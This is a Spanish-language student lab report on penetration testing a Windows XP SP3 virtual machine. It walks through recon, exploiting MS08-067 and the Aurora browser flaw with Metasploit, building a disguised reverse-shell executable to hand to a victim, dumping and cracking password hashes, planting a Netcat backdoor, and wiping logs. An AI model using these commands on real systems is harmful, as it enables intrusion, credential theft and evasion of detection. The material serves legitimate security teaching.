López Pineda Greys Paola – Martínez Meza Howard Andrés – Ojeda de la Hoz H oz José Carlo
PenTesting Windows XP SP3
A través de este informe de pentesting detallaremos cada una de las fases de la metodología de ethical hacking llevadas a cabo por el grupo para lograr la penetración de una máquina Windows XP SP3
Contenido
Marco Teórico ............................................................................................................................... ............................................................................................................................... 2 Fase 1 – Reconocimiento (Reconnaissance) ............................................................................. 2 Fase 2 – Escaneo (Scanning) ....................................................................... ...................................................................................................... ............................... 2 Fase 3 – Ganar Acceso (Gaining Access) ................................................................................... 3 Fase 4 – Mantener el Acceso (Maintaining Access) .................................................................. .................................................................. 3 Fase 5 – Cubrir las huellas (Covering Tracks) ............................................................................ ............................................................................ 3 PenTesting Windows XP SP3 .......................................................................... ......................................................................................................... ............................... 5 1.
Fase de Reconocimiento .................................................................... ................................................................................................... ............................... 6
2.
Fase de escaneo .................................................................... .............................................................................................................. .......................................... 10
3.
2.1
Escaneo de Puertos ..................................................................... .................................................................................................. ............................. 10
2.2
Escaneo de Vulnerabilidades............................. Vulnerabilidades................................................................................... ...................................................... 11
Fase de Ganando Acceso/Explotación ........................................................................ ............................................................................ .... 16 3.1
Penetración # 1 ............................................................. ....................................................................................................... .......................................... 17
3.2
Penetración # 2 ......................................................................... ....................................................................................................... .............................. 19
3.3
Penetración # 3 ......................................................................... ....................................................................................................... .............................. 22
4.
Fase Mantener Acceso ...................................................................... .................................................................................................... .............................. 25
5.
Fase Cubrir Huellas ................................................................ .......................................................................................................... .......................................... 26
Marco Teórico
De ante mano la palabra de PenTesting que en sentido completo seria Penetration Test, hace referencia al método de evaluación de la seguridad de un sistema computacional o red a través de ataques de fuente maliciosa. Cada ataque sigue una metodología establecida la cual se divide en fases, las cuales 1
son :
Fase 1 – Reconocimiento (Reconnaissance) El reconocimiento se refiere a la fase preparatoria donde el atacante obtiene toda la información necesaria de su objetivo o víctima antes de lanzar el ataque. Esta fase también puede incluir el escaneo de la red que el Hacker quiere atacar no importa si el ataque va a ser interno o externo. Esta fase le permite al atacante crear una estrategia para su ataque. Esta fase puede incluir la Ingeniería Social, buscar en la basura (Dumpster diving), buscar que tipo de sistema operativo y aplicaciones usa el objetivo o víctima, cuales son los puertos que están abiertos, donde están localizados los routers (enrutadores), cuales son los host (terminales, computadoras) más accesibles, buscar en las bases de datos del Internet (Whois) información como direcciones de Internet (IP), nombres de dominios, información de contacto, servidores de email y toda la información que se pueda extraer de los DNS (Domain Name Server). Esta fase le puede tomar bastante tiempo al Hacker ya que tiene que analizar toda la información que ha obtenido para lanzar el ataque con mayor precisión.
Fase 2 – Escaneo (Scanning) Esta es la fase que el atacante realiza antes de la lanzar un ataque a la red (network). En el escaneo el atacante utiliza toda la información que obtuvo en la Fase del Reconocimiento (Fase 1) para identificar vulnerabilidades específicas. Por ejemplo, si en la Fase 1 el atacante descubrió que su objetivo o su víctima usa el sistema operativo Windows XP entonces el buscara vulnerabilidades específicas que tenga ese sistema operativo para saber por dónde atacarlo. También hace un escaneo de puertos para ver cuáles son los puertos abiertos para saber por cual puerto va entrar y usa herramientas automatizadas para escanear la red y los host en busca de más vulnerabilidades que le permitan el acceso al sistema. 1
WISE DATE SECURITY - Las 5 fases de ataque de un Hacker: Anatomía de un ataque. Disponible Online: [http://www.wisedatasecurity.com/5-fases-ataque-hacker.html] Consultado: 28/08/11.
Fase 3 – Ganar Acceso (Gaining Access) Esta es una de las fases más importantes para el Hacker porque es la fase de penetración al sistema, en esta fase el Hacker explota las vulnerabilidades que encontró en la fase 2. La explotación puede ocurrir localmente, offline (sin estar conectado), sobre el LAN (Local Area Network), o sobre el Internet y puede incluir técnicas como buffer overflows (desbordamiento del buffer), denial-of-service (negación de servicios), sesión hijacking (secuestro de sesión), y password cracking (romper o adivinar claves usando varios métodos como: diccionary atack y brute forcé atack). Los factores que ayudan al Hacker en esta fase a tener una penetración exitosa al sistema dependen de cómo es la arquitectura del sistema y de cómo está configurado el sistema objetivo o víctima, una configuración de seguridad simple significa un acceso más fácil al sistema, otro factor a tener en cuenta es el nivel de destrezas, habilidades y conocimientos sobre seguridad informática y redes que tenga el Hacker y el nivel de acceso que obtuvo al principio de la penetración (Fase 3).
Fase 4 – Mantener el Acceso (Maintaining Access) Una vez el Hacker gana acceso al sistema objetivo (Fase3) su prioridad es mantener el acceso que gano en el sistema. En esta fase el Hacker usa sus recursos y recursos del sistema y usa el sistema objetivo como plataforma de lanzamiento de ataques para escanear y explotar a otros sistemas que quiere atacar, también usa programas llamados sniffers para capturar todo el tráfico de la red, incluyendo sesiones de telnet y FTP (File Transfer Protocol). En esta fase el Hacker puede tener la habilidad de subir, bajar y alterar programas y data. En esta fase el hacker quiere permanecer indetectable y para eso remueve evidencia de su penetración al sistema y hace uso de Backdoor (puertas traseras) y Troyanos para ganar acceso en otra ocasión y tratar de tener acceso a cuentas de altos privilegios como cuentas de Administrador. También usan los caballos de Troya (Trojans) para transferir nombres de usuarios, passwords e incluso información de tarjetas de crédito almacenada en el sistema.
Fase 5 – Cubrir las huellas (Covering Tracks) En esta fase es donde el Hacker trata de destruir toda la evidencia de sus actividades ilícitas y lo hace por varias razones entre ellas seguir manteniendo el acceso al sistema comprometido ya que si borra sus huellas los administradores de redes no tendrán pistas claras del atacante y el Hacker podrá seguir penetrando el sistema cuando quiera, además borrando sus huellas evita ser detectado y ser at rapado por la policía o los Federales.
Las herramientas y técnicas que usa para esto son caballos de Troya, Steganography, Tunneling, Rootkits y la alteración de los “log files” (Archivos donde se almacenan todos los eventos ocurridos en un sistema informático y permite obtener información detallada sobre los hábitos de los usuarios), una vez que el Hacker logra plantar caballos de Troya en el sistema este asume que tiene control tot al del sistema.
PenTesting Windows XP SP3
Para este laboratorio de PenTesting utilizaremos el entorno VMware Workstation en el que portaremos las máquinas, tanto la máquina atacante (Back T rack) como la máquina víctima, en este caso nuestro objetivo de prueba es una máquina Windows XP Profesional SP3, la cual es una máquina de tipo cliente.
Fig 1. Máquina Atacante
Fig 2. Máquina Victima
1. Fase de Reconocimiento
Recogeremos toda la información de nuestra víctima que nos pueda ayudar a través del resto de las fases sucesivas como son las direcciones IP , usuarios que posee la máquina, certeza del tipo de sistema operativo que tiene. Estando en nuestro entorno de trabajo hacemos primeramente un reconocimiento propio para conocer nuestra dirección IP y la red en la que nos encontramos, digitamos entonces ifconfig , luego realizamos escaneo de la red para llegar a determinar cuál es la dirección IP de la víctima. Para ello hacemos uso del nmap y digitamos nmap -sP
192.168.1.*
Fig 3. Identificación de nuestra dirección IP
Fig 4. Escaneo de Red para identificar Hosts activos
Como vemos, hay 3 host activos en la red que tienen dirección IP: 192.168.1.1, 192.168.1.8 y 192.168.1.10 como de antemano sabemos que es una máquina Windows procedemos a buscar una marca que nos lo identifique, para ello hacemos ping a las maquinas para buscar una marca en la ttl que nos indique que sea una máquina Windows, sabemos que la ttl para maquinas Windows es ttl=128. Descartamos la dirección IP 192.168.1.10 la cual sabemos que es de nuestra máquina de Back Track.
Fig 5. Haciendo Ping a los hosts de la red para identificar las ttl
Como vemos la máquina que identifica a un equipo Windows dentro de nuestra red configurada es la que tiene dirección IP 192.168.1.8 Ahora proseguiremos a hacer pruebas para determinar con más detalle el tipo de sistema operativo que corre sobre la víctima. Utilizaremos comandos diferentes para determinarlo y comparar respuestas.
Usando: nmap -sV -O 192.168.1.8
Fig 6. Identificando SO de la víctima mediante nmap -sV -O 192.168.1.8
Usando: namp -sV -O2 192.168.1.8
Fig 7. Identificando SO de la víctima mediante nmap -sV -O2 192.168.1.8
Como vemos las respuestas arrojadas nos dan la certeza de que se trata una maquina Windows y las versiones que tienen más probabilidad de ocurrencia en el resultado atinan a un Windows XP con SP3. Lo siguiente que haremos para seguir en nuestra búsqueda de información es averiguar los usuarios que tiene la maquina, para ello hacemos uso del Nmap Scripting Engine (NSE) esta es una potente funcionalidad del Nmap que permite la ejecución de scripts, que además permite que los usuarios puedan escribir y compartir scripts para realizar multitud de tareas. Las tareas que se pueden realizar con el NSE se agrupan en: descubrimiento de red, detección de versiones de servicios mejorada, detección de vulnerabilidades, detección de gusanos y backdoors, explotación de vulnerabilidades. Para nuestro cometido de sacar los usuarios de nuestra maquina victima primero debemos estar en la ruta donde se almacenan los scripts, en la versión de Backtrack 5 esa ruta se logra digitando cd ../usr/local/share/nmap/scripts
Fig 8. En la ruta de los scripts del NSE
Estando allí en la ruta podemos hacer uso del script con el que conoceremos los usuarios de la maquina víctima, digitamos entonces: nmap –sV --script smb-enum-
users 192.168.1.8 –p 445
Fig 9. Examinación de Usuarios en la máquina victima
Como podemos notar hay cuatro usuarios en la maquina víctima: Administrator, Guest, HelpAssistant, Student y SUPPORT_388945a0 dos de los cuales tienen RID de 5XX lo que indica que estos poseen privilegios administrativos. En este punto podemos decir que tenemos información útil referente a nuestra víctima, nos preparamos para ir avanzando a la siguiente fase.
2. Fase de escaneo Esta fase incluye unas subdivisiones que corresponden a escaneo de puertos y servicios, y escaneo de vulnerabilidades.
2.1 Escaneo de Puertos Para esta tarea podemos valernos de la herramienta nmap para hacer diversos tipos de escaneo, o si bien deseamos podemos utilizar la herramienta de tipo grafico llamada Zenmap, que utiliza como base nmap. Haremos un escaneo de tipo agresivo para determinar que puertos están abiertos, que servicios están corriendo sobre esos puertos y que versiones de esos servicios se presentan.
Fig 10. Escaneo de Puertos y Servicios
Como podemos observar tenemos dos puertos activos en la máquina, el 139 y el 445, sobre el primero está corriendo el servicio de netbios-ssny sobre el 445 el servicio Microsoft-ds, si algo podemos notar es que sobre ambos puertos actúa el protocolo SMB que en sentido completo es “Server Messages Block” de lo cual nos podemos valer para identificar en el paso siguiente posibles vulnerabilidades.
2.2 Escaneo de Vulnerabilidades Para esta labor realizamos tres procesos. Los dos primeros fueron automatizados y equivalentes; el primer escaneo fue a través de nmap y apoyándonos con el autopwn, el segundo escaneo que fue equivalente al primero fue a través de OpenVAS e igualmente apoyándonos con autopwn y el último proceso lo realizamos a través de del Nmap Scripting Engine. Para el escaneo automatizado a través de Nmap necesitamos inicialmente crear una base de datos, en nuestro caso utilizamos una base de datos con el nombre de metasploit en el motor de PostgreSQL, luego necesitamos conectarnos a esa base de datos, posteriormente necesitamos guardar el escaneo realizado con el nmap, en ultimas, aplicamos el autopwn sobre los datos guardados y este según los parámetros ingresados nos mostrara los exploits que vulneran esos puertos abiertos en la victima y probara cada uno mediante una conexión en reversa para otorgarnos al finalizar el
proceso, en caso satisfactorio, cierto número de sesiones de meterpreter. Esto lo presentamos a continuación:
Fig 11. Escaneo de Vulnerabilidades con Nmap y autopwn
Como pudimos observar, este proceso automatizado nos ha arrojado como resultado concreto, una vulnerabilidad luego de haber intentado con 101 módulos posibles, la vulnerabilidad encontrada es bien conocida gracias a los boletines de Microsoft, se trata de la ms08_067_netapi, la cual se vale de una falla de análisis en el código del camino de netapi32.dll a través del servicio de servidor para luego darnos acceso. Tenemos dos sesiones activas, podríamos interactuar con ellas y acceder de manera inmediata a la máquina, pero ese paso quedara presentado en la próxima fase de ganando acceso, o también conocida como explotación. El segundo proceso automatizado es muy similar al que acabamos de describir, las variantes han sido que: en vez de utilizar un escaneo desde el nmap, lo hemos hecho a través de OpenVAS, el cual nos ha arrojado un reporte completo, este reporte será el que guardaremos en una base de datos de nombre winxp para luego aplicar de igual manera el autopwn como veremos a continuación:
Fig 12. Conectando a la base de datos winxp e importando el archivo OpenVAS.nbe
Fig 13. Escaneo de vulnerabilidades con OpenVAS y autopwn
Como pudimos observar el resultado presentado esta vez nos arrojó 3 sesiones con las que podemos interactuar directamente, y se refleja claramente el número de módulos que nos trajo como posibles vulnerabilidades, esto se debe a que el escaneo realizado por el OpenVAS va más allá de hallar vulnerabilidades por la simple igualación de puertos sino que también consulta información externa. El tercer proceso que realizamos para también identificar vulnerabilidades de la víctima valiéndonos de las herramientas de nuestra maquina atacante fue la utilización de un script de la librería de scripts del NSE, en este caso utilizamos el smb-check-
vulns, como vemos a continuación:
Fig 14. Escaneo de vulnerabilidades a través de NSE
Aquí también nos arrojó ciertas vulnerabilidades del sistema pero fijémonos que algunas están deshabilitadas y que se sigue resaltando la vulnerabilidad de MS08_067. En este punto podemos decir que los tres procesos nos dan como balance la penetración del sistema pero solo gracias a la vulnerabilidad MS08_067, esto basado primordialmente en igualación de los puertos abiertos y en los módulos que están en la base de datos del metasploit. Para seguir con nuestra labor y pasar a la siguiente fase, optaremos por tomar la consideración que nuestra maquina víctima es una maquina Cliente y que luego de una obtención de claves y revisión de los aplicativos de la maquina podemos lanzar ataques Client-Side.
3. Fase de Ganando Acceso/Explotación Luego de tener identificada ciertas vulnerabilidades de la maquina victima procedemos a ganar acceso a ella a través de lanzamiento de exploits que exploten dichas vulnerabilidades.
3.1 Penetración # 1
Para esta penetración nos valdremos de la vulnerabilidad identificada en todos los escaneos de vulnerabilidades que realizamos, se trata de la ms08_067_netapi que como habíamos dicho se vale de una falla de análisis en el código del camino de netapi32.dll a través del servicio de servidor para luego darnos acceso. Para ello proseguimos como sigue:
Fig 15. Configuración del exploit ms08_067_netapi
Como
vemos
tenemos
que
cargar
el
exploit
mediante
el
comando
use
Windows/smb/ms08_067_netapi luego configuramos el payload asociado que le vamos a cargar, en nuestro caso probamos con un payload de meterpreter y de modo reverse para curarnos en salud y que la penetración sea exitosa aun cuando en la maquina victima haya un firewall. Posteriormente configuramos las direcciones del host local y la del host remoto, en final de cuentas mostramos las opciones en pantalla para ver cómo va la configuración, cuando todo esté listo podemos proseguir a lanzar el exploit digitando exploit.
Fig 16. Logrando el acceso a la maquina a través del exploit ms08_067_netapi
Ya estando dentro de la maquina lo que podemos hacer depende de nuestra imaginación. Examinando algunas que otras cosas podemos identificar el id del usuario con que estamos en la máquina, podemos mirar en que directorio estamos y algo que resulta interesante, hacer un dump del archivo SAM, este archivo guarda los hashes de los usuarios de la máquina. Luego de tener estos hashes los llevamos a una aplicación que nos ayude a desencriptarlas, a Ophcrack por ejemplo, con esto lograremos tener en nuestro poder las claves reales de estos usuarios. Ophcrack trabaja sobre tablas rainbow en algunos casos necesitaremos obtener estas tablas para obtener resultados satisfactorios en el desencriptamiento.
Fig 17. Utilización de Ophcrack para desencriptamiento de los hashes
Luego de someter los hashes a este proceso y utilizando una tabla rainbow xp_small_free logramos obtener las claves de los usuarios: Administrator y Student, las cuales son en su orden P455w0rd y L34rn1ng.
3.2 Penetración # 2 Con esta penetración al igual que la anterior, ganaremos control sobre la máquina, pero esta vez nos vamos a valer del precepto de que nuestra víctima es una maquina cliente, por ende podemos vulnerar aquellas aplicaciones que el cliente de la maquina utiliza. Buscando referencias de las aplicaciones de las maquinas nos topamos que tenía instalado un Explorador: Internet Explorer versión 6, esta versión del internet Explorer es vulnerable al exploit conocido como Aurora, por ello, en esta penetración nos basaremos en un ataque Client-Side para llevar a final termino nuestro cometido. Primeramente cargamos el exploit digitando
use exploit/Windows/browser/ms10_002_aurora Luego le cargamos el payload respectivo, en nuestro caso le cargaremos un
windows/meterpreter/reverse_tcp, seguido a esto configuramos la dirección del local host con 192.168.1.3 y el Uripath lo configuramos como /. Así como se muestra:
Fig 18. Configurando el exploit ms10_002_aurora
Luego que tenemos todo configurado, procedemos a explotar, el resultado arrojado es referente a que un servidor se ha iniciado en nuestra dirección local, esa dirección IP debemos lograr que sea accedida por un usuario en la maquina víctima, una vez logrado esto, el código malicioso nos otorgara una sesión, con lo cual lograremos nuestro cometido.
Fig 19. Ganando Acceso a través de la vulnerabilidad Aurora mediante un ataque Client-Side
Como vemos, hemos logrado penetrar en la máquina de una segunda manera.
3.3 Penetración # 3 En esta tercera penetración también nos valemos de técnicas de explotación ClientSide, sabemos que nuestra víctima es una maquina Windows y que es vulnerable con los ejecutables, los famosos .exe podemos hacer un .exe caracterizado el cual este configurado con los parámetros que le indiquemos para realizar una acción programada por nosotros para ganar acceso en la máquina, luego de tener el .exe como tal, lo podemos maquillar, poner iconos, ponerle un nombre atractivo pero en esencia cumplirá la misma labor. En definitiva, crearemos un .exe el cual le haremos llegar a la maquina victima a través de un correo, una memoria usb, de la manera que queramos, cuando el usuario que actúa sobre la maquina victima lo abra el código malicioso se ejecutara para darle paso a las acciones que programamos y otorgarnos una sesión en la máquina. Todo el proceso se ilustra a continuac ión: Primero digitamos msfpayload Windows/meterpreter/reverse_tcp lhost=192.168.1.3
lport=4444 X > /root/Desktop/Interesante.exe con esto logramos crear un ejecutable en el escritorio que tiene por nombre Interesante.exe y el cual va a poseer un payload de conexión reverse a través de meterpreter al socket 192.168.1.3:4444.
Fig 20. Creando .exe configurado
Luego de crear el .exe vamos ahora a hacer uso del exploit handler que va a estar configurado de la misma manera, con el mismo payload pero este estará a la espera de esa comunicación. Para lograr hacer uso del handler, digitamos
msfcli exploit/multi/handler
payload=Windows/meterpreter/reverse_tcp lhost=192.168.1.3 lport=4444 E
Fig 21. Haciendo uso del exploit handler a la espera
Aquí podemos notar ya que el exploit handler está a la espera, ahora el paso siguientes es enviarle, regalarle, darle, etc, el archivo Interesante.exe a un usuario de nuestra maquina víctima.
Fig 22. Pasándole el .exe configurado a la victima
Después de que le hemos pasado el .exe y este lo ejecuta po demos ver que es lo que pasa en nuestra maquina atacante.
Fig 23. Logrando el cometido
Una vez más hemos logrado nuestro cometido y nos hemos hecho con una sesión dentro de la víctima.
4. Fase Mantener Acceso Así como cada fase depende de la anterior, esta está íntimamente ligada a la de la explotación, el fin como tal de mantener acceso es en concepto de que no tengamos que volver a realizar todo el proceso de explotación sino qu e por ejemplo creemos una puerta trasera, que sin un esfuerzo adicional podamos tener acceso a la víctima luego de haberla penetrado. Para esta fase crearemos un Back Door valiéndonos de alguna de las penetraciones anteriores, el proceso de creación de un Back Door puede también realizarse de diversas maneras, en esta instancia crearemos un Back Door estable y lo realizaremos a través de una sesión de meterpreter ya obtenida. Para ello seguimos los pasos siguientes: Subimos a nuestra maquina victima el Netcat para instalarlo y ejecutarlo en la maquina como un servidor a la escucha en un puerto especifico, en nuestro caso le colocaremos en el 445 y ejecutándose como demonio, es decir de manera oculta. Luego de ejecutarlo, agregamos el programa al registro de Windows para que cada vez que se inicie la maquina nuestro proceso inicie con ella. Todo lo vemos a continuación:
Fig 24. Subiendo NetCat a la maquina víctima, ejecutándolo y agregándolo al registro de Windows
Ahora solo basta con salir de la sesión de meterpreter, cargar el exploit de
exploit/multi/handler , configurarlo con un payload window/shell_bind_tcp y luego
configurar el puerto local por el que hemos configurado anteriormente, en este caso será el puerto 445.
Fig 25. Conectándose a la maquina victima a través del Back Door
Con esto tenemos listo nuestra puerta trasera para mantener el acceso a la víctima.
5. Fase Cubrir Huellas En esta fase lo que hacemos es borrar el rastro que h emos dejado luego de la penetración a la máquina, si estamos en una sesión de meterpreter resulta sencillo, con un simple comando podemos borrar el compilado de logs, co mo se muestra:
Fig 26. Borrando Huellas de la maquina victima